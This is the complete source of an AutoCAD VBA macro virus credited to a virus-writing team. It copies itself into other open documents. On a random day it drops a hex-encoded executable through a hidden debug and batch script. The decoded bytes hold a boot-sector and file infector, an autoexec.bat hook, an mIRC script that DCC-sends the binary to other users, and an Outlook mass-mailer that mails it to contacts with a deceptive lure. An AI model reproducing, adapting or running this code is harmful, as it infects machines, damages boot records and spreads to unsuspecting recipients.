Private Sub AcadDocument_Deactivate()
'Acad.Melanie.a
'by -KD- [Metaphase VX Team & NoMercyVirusTeam]
'Mixed To Carry Angela by Evul [Metaphase VX Team]
Set VBEModel = VBE
On Error GoTo MyPayload
If Day(Now()) = Int(Rnd() * 3) + 1 Then
Open "angela.dll" For Output As #1
Print #1, "n angela.dll"
Print #1, "e 0100 4d 5a 96 00 06 00 00 00 20 00 01 00 ff ff 00 00"
Print #1, "e 0110 00 00 00 00 00 00 00 00 3e 00 00 00 01 00 fb 71"
Print #1, "e 0120 6a 72 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0130 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0140 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0150 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0160 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0170 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0180 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0190 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 01a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 01b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 01c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 01d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 01e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 01f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0200 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0210 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0220 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0230 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0240 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0250 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0260 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0270 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0280 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0290 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 02a0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 02b0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 02c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 02d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 02e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 02f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0300 fc 8c c8 3d 00 00 74 03 e9 5c 01 8e d0 bc fe 7b"
Print #1, "e 0310 fb 52 8e d8 8e c0 be 13 04 8b fe ad 2d 04 00 ab"
Print #1, "e 0320 c1 e0 06 8e c0 b9 22 01 33 ff be 00 7c 80 fa 80"
Print #1, "e 0330 73 03 83 c6 40 f3 a4 5a 52 ba 80 00 b8 04 02 bb"
Print #1, "e 0340 34 01 e8 cf 00 cd 13 bb 4d 00 06 53 cb 33 c0 8e"
Print #1, "e 0350 d8 be 4c 00 56 bf 22 01 a5 a5 be 70 00 56 a5 a5"
Print #1, "e 0360 fa 1e 07 5f b8 34 01 ab 8c c8 ab 5f b8 96 00 ab"
Print #1, "e 0370 8c c8 ab fb 5a e8 9c 00 83 c1 04 b8 01 02 bb 00"
Print #1, "e 0380 7c e8 06 00 bb 00 7c 06 53 cb 9c 2e ff 1e 22 01"
Print #1, "e 0390 c3 2e ff 2e 22 01 80 fc 02 75 f6 80 fe 00 75 f1"
Print #1, "e 03a0 83 f9 01 75 ec 1e 06 60 0e 07 0e 1f bb 74 08 53"
Print #1, "e 03b0 e8 d7 ff 5f 80 fa 80 73 03 83 c7 40 8b ef 2e 80"
Print #1, "e 03c0 3d fc 75 02 eb 39 52 e8 4a 00 b4 03 b0 04 bb 34"
Print #1, "e 03d0 01 51 e8 b5 ff 59 83 c1 04 bb 74 08 b8 01 03 e8"
Print #1, "e 03e0 a8 ff 8b fd 33 f6 2e c7 06 74 08 eb 3e b9 22 01"
Print #1, "e 03f0 f3 a4 bb 74 08 b8 01 03 b9 01 00 5a e8 8b ff 61"
Print #1, "e 0400 07 1f e8 85 ff 60 b8 01 02 e8 08 00 83 c1 04 e8"
Print #1, "e 0410 78 ff 61 cf b9 04 00 80 fa 80 73 05 b9 0a 00 fe"
Print #1, "e 0420 c6 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0430 00 00 00 00 9c 60 1e 33 c0 8e d8 a1 86 00 8c cb"
Print #1, "e 0440 3b c3 74 18 2e ff 06 64 01 2e 81 3e 64 01 2c 01"
Print #1, "e 0450 72 0a 2e c7 06 64 01 2b 01 e8 86 02 1f 61 9d 2e"
Print #1, "e 0460 ff 2e 26 01 00 00 00 e8 00 00 5d 81 ed 6a 01 60"
Print #1, "e 0470 9c 06 1e e8 58 01 33 c0 8e d8 a1 13 04 c1 e0 06"
Print #1, "e 0480 8b 1e 4e 00 3b c3 74 56 0e 07 06 1f b8 01 02 8d"
Print #1, "e 0490 9e 74 08 b9 01 00 ba 80 00 cd 13 2e 80 be 74 08"
Print #1, "e 04a0 fc 74 3b b4 03 b0 04 8d 9e 34 01 b9 04 00 ba 80"
Print #1, "e 04b0 00 cd 13 8d 9e 74 08 83 c1 04 b8 01 03 cd 13 8d"
Print #1, "e 04c0 be 74 08 8d b6 00 00 b9 22 01 ba 80 00 f3 a4 8d"
Print #1, "e 04d0 9e 74 08 b9 01 00 b8 01 03 ba 80 00 cd 13 2e ff"
Print #1, "e 04e0 b6 c6 02 2e ff b6 c8 02 2e c7 86 c6 02 00 00 2e"
Print #1, "e 04f0 c7 86 c8 02 f0 ff b4 47 8d b6 74 08 32 d2 cd 21"
Print #1, "e 0500 8d 96 9a 04 e8 f1 00 8d 96 63 04 e8 ef 00 8d 96"
Print #1, "e 0510 4d 04 e8 ed 00 b9 1c 00 8d 96 12 05 e8 eb 00 b9"
Print #1, "e 0520 e4 01 8d be 74 09 33 c0 f2 aa 8d 96 74 09 b9 e4"
Print #1, "e 0530 01 e8 d6 00 b9 96 08 8d 96 00 00 e8 cc 00 e8 ce"
Print #1, "e 0540 00 2e 8f 86 c8 02 2e 8f 86 c6 02 8d 96 75 04 e8"
Print #1, "e 0550 ab 00 8d 96 58 04 e8 a9 00 b9 a7 02 8d 96 cd 05"
Print #1, "e 0560 e8 a7 00 e8 a9 00 8d 96 3a 04 e8 90 00 8d 96 42"
Print #1, "e 0570 04 e8 8e 00 b9 9b 00 8d 96 32 05 e8 8c 00 e8 8e"
Print #1, "e 0580 00 8d 96 c0 04 e8 75 00 8d 96 c4 04 e8 73 00 ba"
Print #1, "e 0590 d1 04 b9 41 00 e8 72 00 e8 74 00 8d 96 74 08 e8"
Print #1, "e 05a0 5b 00 e8 42 00 58 50 05 10 00 01 86 c8 02 01 86"
Print #1, "e 05b0 ca 02 1f 07 9d 61 fa 2e ff b6 cc 02 5c 2e ff b6"
Print #1, "e 05c0 ca 02 17 fb f8 ea 00 00 f0 ff f0 ff 00 00 b4 2f"
Print #1, "e 05d0 cd 21 2e 89 9e 96 08 8c c3 2e 89 9e 98 08 b4 1a"
Print #1, "e 05e0 8d 96 96 08 cd 21 c3 2e 8b 96 98 08 8e da 2e 8b"
Print #1, "e 05f0 96 96 08 b4 1a cd 21 c3 b4 41 cd 21 c3 b4 3b cd"
Print #1, "e 0600 21 c3 b4 3c 33 c9 cd 21 93 c3 b4 40 cd 21 c3 b4"
Print #1, "e 0610 3e cd 21 c3 b8 02 3d cd 21 93 c3 9c 80 fc 4b 74"
Print #1, "e 0620 08 9d 2e ff 2e 2a 01 9d cf 50 53 51 52 56 57 55"
Print #1, "e 0630 1e 06 8b f2 81 3c 56 4d 75 03 e9 99 00 81 3c 4b"
Print #1, "e 0640 52 75 03 e9 90 00 b8 02 3d e8 e7 00 0e 1f 1e 07"
Print #1, "e 0650 93 b4 3f b9 1c 00 ba 74 08 e8 d7 00 2e 80 3e 8c"
Print #1, "e 0660 08 40 74 6d 81 3e 74 08 4d 5a 75 65 81 3e 86 08"
Print #1, "e 0670 41 43 74 5d b8 00 57 e8 b9 00 89 0e 90 08 89 16"
Print #1, "e 0680 92 08 be 88 08 bf c6 02 a5 a5 be 82 08 a5 a5 b8"
Print #1, "e 0690 02 42 33 d2 33 c9 e8 9a 00 e8 63 00 fd 83 ef 10"
Print #1, "e 06a0 ab 92 ab b4 40 ba 00 00 b9 74 08 e8 85 00 b8 00"
Print #1, "e 06b0 42 33 d2 33 c9 e8 7b 00 b4 40 ba 74 08 b9 1c 00"
Print #1, "e 06c0 e8 70 00 8b 0e 90 08 8b 16 92 08 b8 01 57 e8 62"
Print #1, "e 06d0 00 b4 3e e8 5d 00 07 1f 5d 5f 5e 5a 59 5b 58 e9"
Print #1, "e 06e0 3f ff 33 c0 8e d8 b8 1b 03 8c cb fa 87 06 84 00"
Print #1, "e 06f0 87 1e 86 00 2e a3 2a 01 2e 89 1e 2c 01 fb c3 52"
Print #1, "e 0700 50 b9 10 00 f7 f1 2b 06 7c 08 bf 8a 08 fd ab 92"
Print #1, "e 0710 ab 92 83 ef 04 fc ab b8 fe ff ab b8 41 43 ab 58"
Print #1, "e 0720 5a 05 74 08 83 d2 00 b9 00 02 f7 f1 83 fa 00 74"
Print #1, "e 0730 01 40 c3 9c 2e ff 1e 2a 01 c3 63 3a 5c 6d 69 72"
Print #1, "e 0740 63 00 73 63 72 69 70 74 2e 69 6e 69 00 41 6e 67"
Print #1, "e 0750 65 6c 61 2e 65 78 65 00 41 6e 67 65 6c 61 2e 76"
Print #1, "e 0760 62 73 00 63 3a 5c 77 69 6e 64 6f 77 73 5c 73 79"
Print #1, "e 0770 73 74 65 6d 00 63 3a 5c 77 69 6e 64 6f 77 73 5c"
Print #1, "e 0780 73 74 61 72 74 6d 7e 31 5c 70 72 6f 67 72 61 6d"
Print #1, "e 0790 73 5c 73 74 61 72 74 75 70 00 63 3a 5c 77 69 6e"
Print #1, "e 07a0 64 6f 77 73 5c 73 79 73 74 65 6d 5c 69 6f 73 75"
Print #1, "e 07b0 62 73 79 73 5c 68 73 66 6c 6f 70 2e 70 64 72 00"
Print #1, "e 07c0 63 3a 5c 00 61 75 74 6f 65 78 65 63 2e 62 61 74"
Print #1, "e 07d0 00 0d 0a 40 45 43 48 4f 20 4f 46 46 0d 0a 63 3a"
Print #1, "e 07e0 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74 65 6d 5c"
Print #1, "e 07f0 61 6e 67 65 6c 61 2e 65 78 65 0d 0a 52 45 4d 20"
Print #1, "e 0800 2d 20 44 4f 20 4e 4f 54 20 52 45 4d 4f 56 45 21"
Print #1, "e 0810 01 01 48 48 48 48 48 48 48 48 48 48 48 48 48 48"
Print #1, "e 0820 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48 48"
Print #1, "e 0830 48 48 5b 53 63 72 69 70 74 5d 0d 0a 6e 30 3d 4f"
Print #1, "e 0840 4e 20 31 3a 4a 4f 49 4e 3a 23 3a 7b 20 2f 69 66"
Print #1, "e 0850 20 28 20 24 6e 69 63 6b 20 3d 3d 20 24 6d 65 20"
Print #1, "e 0860 29 20 7b 20 68 61 6c 74 20 7d 0d 0a 6e 31 3d 20"
Print #1, "e 0870 20 2f 64 63 63 20 73 65 6e 64 20 24 6e 69 63 6b"
Print #1, "e 0880 20 43 3a 5c 77 69 6e 64 6f 77 73 5c 73 79 73 74"
Print #1, "e 0890 65 6d 5c 61 6e 67 65 6c 61 2e 65 78 65 0d 0a 6e"
Print #1, "e 08a0 32 3d 7d 0d 0a 6e 33 3d 6f 6e 20 31 3a 43 4f 4e"
Print #1, "e 08b0 4e 45 43 54 3a 7b 0d 0a 6e 34 3d 2f 6a 6f 69 6e"
Print #1, "e 08c0 20 23 75 63 32 0d 0a 6e 35 3d 7d 0d 0a 0d 0a 0d"
Print #1, "e 08d0 0a 0d 0a 4f 6e 20 45 72 72 6f 72 20 52 65 73 75"
Print #1, "e 08e0 6d 65 20 4e 65 78 74 0d 0a 53 65 74 20 79 30 31"
Print #1, "e 08f0 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28"
Print #1, "e 0900 22 6f 75 74 6c 6f 6f 6b 2e 61 70 70 6c 69 63 61"
Print #1, "e 0910 74 69 6f 6e 22 29 0d 0a 49 66 20 79 30 31 20 3c"
Print #1, "e 0920 3e 20 22 22 20 54 68 65 6e 0d 0a 53 65 74 20 79"
Print #1, "e 0930 30 32 20 3d 20 79 30 31 2e 47 65 74 4e 61 6d 65"
Print #1, "e 0940 53 70 61 63 65 28 22 4d 41 50 49 22 29 0d 0a 46"
Print #1, "e 0950 6f 72 20 79 30 33 20 3d 20 31 20 54 6f 20 79 30"
Print #1, "e 0960 32 2e 41 64 64 72 65 73 73 4c 69 73 74 73 2e 43"
Print #1, "e 0970 6f 75 6e 74 0d 0a 53 65 74 20 79 30 34 20 3d 20"
Print #1, "e 0980 79 30 32 2e 41 64 64 72 65 73 73 4c 69 73 74 73"
Print #1, "e 0990 28 79 30 33 29 0d 0a 79 30 35 20 3d 20 31 0d 0a"
Print #1, "e 09a0 53 65 74 20 79 30 36 20 3d 20 79 30 31 2e 43 72"
Print #1, "e 09b0 65 61 74 65 49 74 65 6d 28 30 29 0d 0a 46 6f 72"
Print #1, "e 09c0 20 79 30 37 20 3d 20 31 20 54 6f 20 79 30 34 2e"
Print #1, "e 09d0 41 64 64 72 65 73 73 45 6e 74 72 69 65 73 2e 43"
Print #1, "e 09e0 6f 75 6e 74 0d 0a 79 30 38 20 3d 20 79 30 34 2e"
Print #1, "e 09f0 41 64 64 72 65 73 73 45 6e 74 72 69 65 73 28 79"
Print #1, "e 0a00 30 35 29 0d 0a 79 30 36 2e 52 65 63 69 70 69 65"
Print #1, "e 0a10 6e 74 73 2e 41 64 64 20 79 30 38 0d 0a 79 30 35"
Print #1, "e 0a20 20 3d 20 79 30 35 20 2b 20 31 0d 0a 49 66 20 79"
Print #1, "e 0a30 30 35 20 3e 20 32 30 20 54 68 65 6e 20 45 78 69"
Print #1, "e 0a40 74 20 46 6f 72 0d 0a 4e 65 78 74 0d 0a 79 30 36"
Print #1, "e 0a50 2e 53 75 62 6a 65 63 74 20 3d 20 22 46 69 6e 61"
Print #1, "e 0a60 6c 6c 79 20 66 6f 75 6e 64 20 69 74 21 22 0d 0a"
Print #1, "e 0a70 79 30 36 2e 42 6f 64 79 20 3d 20 22 48 65 72 65"
Print #1, "e 0a80 20 61 72 65 20 74 68 65 20 66 69 6c 65 73 20 79"
Print #1, "e 0a90 6f 75 20 61 73 6b 65 64 20 6d 65 20 66 6f 72 2e"
Print #1, "e 0aa0 2e 2e 22 0d 0a 79 30 36 2e 41 74 74 61 63 68 6d"
Print #1, "e 0ab0 65 6e 74 73 2e 41 64 64 20 22 43 3a 5c 57 69 6e"
Print #1, "e 0ac0 64 6f 77 73 5c 53 79 73 74 65 6d 5c 41 6e 67 65"
Print #1, "e 0ad0 6c 61 2e 65 78 65 22 0d 0a 79 30 36 2e 44 65 6c"
Print #1, "e 0ae0 65 74 65 41 66 74 65 72 53 75 62 6d 69 74 20 3d"
Print #1, "e 0af0 20 54 72 75 65 0d 0a 79 30 36 2e 53 65 6e 64 0d"
Print #1, "e 0b00 0a 79 30 38 20 3d 20 22 22 0d 0a 4e 65 78 74 0d"
Print #1, "e 0b10 0a 45 6e 64 20 49 66 0d 0a 53 65 74 20 79 30 39"
Print #1, "e 0b20 20 3d 20 43 72 65 61 74 65 4f 62 6a 65 63 74 28"
Print #1, "e 0b30 22 53 63 72 69 70 74 69 6e 67 2e 46 69 6c 65 53"
Print #1, "e 0b40 79 73 74 65 6d 4f 62 6a 65 63 74 22 29 0d 0a 79"
Print #1, "e 0b50 30 39 2e 44 65 6c 65 74 65 46 69 6c 65 20 57 73"
Print #1, "e 0b60 63 72 69 70 74 2e 53 63 72 69 70 74 46 75 6c 6c"
Print #1, "e 0b70 4e 61 6d 65 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0b80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00"
Print #1, "e 0b90 00 00 00 00 00 00 "
Print #1, "RCX"
Print #1, "0a96"
Print #1, "W"
Close #1
Open "angela.bat" For Output As #2
Print #2, "@echo off"
Print #2, "debug < angela.dll > nul"
Print #2, "attrib angela.* +h"
Print #2, "angela.exe"
Close #2
Shell "angela.bat", vbHide
MsgBox "Acad.Melanie.a", "He said he had to slay a dragon."
End If
MyPayload:
On Error Resume Next
For X = 1 To Documents.Count
Set MyPan = VBEModel.Codepanes(X).Codemodule
If MyPan.Lines(2, 1) = "Set VBEModel = VBE" And InstallMelanie = 0 Then
Melanie = MyPan.Lines(1, MyPan.CountOfLines)
InstallMelanie = 1
X = 0
End If
If MyPan.Lines(2, 1) <> "Set VBEModel = VBE" And InstallMelanie = 1 Then
VBEModel.Codepanes(X).Codemodule.InsertLines 1, Melanie
ThisDocument.Save
End If
Next X
End Sub
